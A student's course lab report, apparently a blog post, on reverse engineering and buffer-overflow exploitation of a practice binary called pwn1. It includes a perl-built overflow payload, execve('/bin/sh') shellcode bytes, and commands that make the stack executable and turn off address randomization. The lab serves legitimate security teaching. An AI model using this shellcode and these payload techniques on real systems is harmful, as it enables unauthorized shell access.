20192404 2021-2022-2 《网络与系统攻防技术》实验一实验报告

实验一 逆向及Bof基础实践说明

一、 实践目标

1.1
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
1.2
三个实践内容如下:

(1)手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
(2)利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
(3)注入一个自己制作的shellcode并运行这段shellcode。

二、2.实验要求

掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击

三、实验过程

2.1
利用objdump对pwn1进行反汇编,并通过管道转发给more作为输入内容:objdump -d pwn1 | more

如下图所示,查看反汇编的结果中main函数的相关部分:

输入如下,将显示模式切换为16进制模式:
:%!xxd

查找要修改的内容:
/e8d7

找到后前后的内容和反汇编的对比下,确认是地方是正确的并且修改d7为c3
前:

后:

修改完毕数据后,首先使用如下命令将数据转换为原格式,然后再保存退出
:%!xxd -r
运行经过修改后的pwn2程序,可得结果如图:

2.2
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
在2.1中我们采用了直接修改程序文件的方式获取到了Shell,但其实我们也可以不修改程序内容,直接通过输入特殊的字符串来修改程序的返回地址。首先我们再观察一下pwn1程序的汇编代码:

我们不难发现,在main函数调用的foo函数中仅仅只给输入的数据分配了28字节(0x1c)的空间,也就是说,只要我们构造的字符串能够溢出到EIP所在位置,将其中的返回地址“80484ba”覆盖为getShell函数的地址“804847d”,则程序执行完foo函数后将返回到getShell函数去执行,这样就完成了我们的目标。

我们借助perl语言生成一个包含getShell函数首地址的文件,然后通过管道让文件的内容成为pwn1的输入,最终实现如下:

2.3
注入一个自己制作的shellcode并运行这段shellcode
首先我们要对操作系统和程序进行一些设置便于找到我们注入的数据的地址
execstack -s pwn1 //设置堆栈可执行
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
本次实验我用的是陈瀚文同学的shellcode:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
接着构建字符串并保存到input_shellcode中
perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
接下来我们要确定前四位该填什么:
(cat input_shellcode;cat) | ./pwn20192404

再打开另一个终端,首先使用命令找到pwn20192404的进程号:
ps -ef | grep pwn20192404

再使用gdb调试该进程:

然后找到对应的要替换的地址:(90909090)
ffffd13c→ffffd140进行前四位替换:

然后替换后我们来重新运行程序:

运行成功!
完成本次实验!

四、实验问题

在2.3时,使用命令execstack操作系统提示——无法定位软件包 execstack
解决方案:通过向陈瀚文请教,找到了execstack的官方网站并成功找到了execstack的安装包:

https://debian.pkgs.org/10/debian-main-amd64/execstack_0.0.20131005-1+b10_amd64.deb.html

五、学习感悟、思考

本次实验我熟悉了Linux基本操作能看懂常用指令,如管道(|),输入、输出重定向(>)等。基本理解了Bof的原理。可以说在王老师和刘老师的讲解下学到了很多,也向其他同学学到了许多解决问题的方法,希望以后的实验我能继续学到更多知识,不断提升自己的能力,做一名合格的CTF特训营学员!

posted @ 2022-03-26 21:29  20192404—贾智博  阅读(71)  评论(0编辑  收藏  举报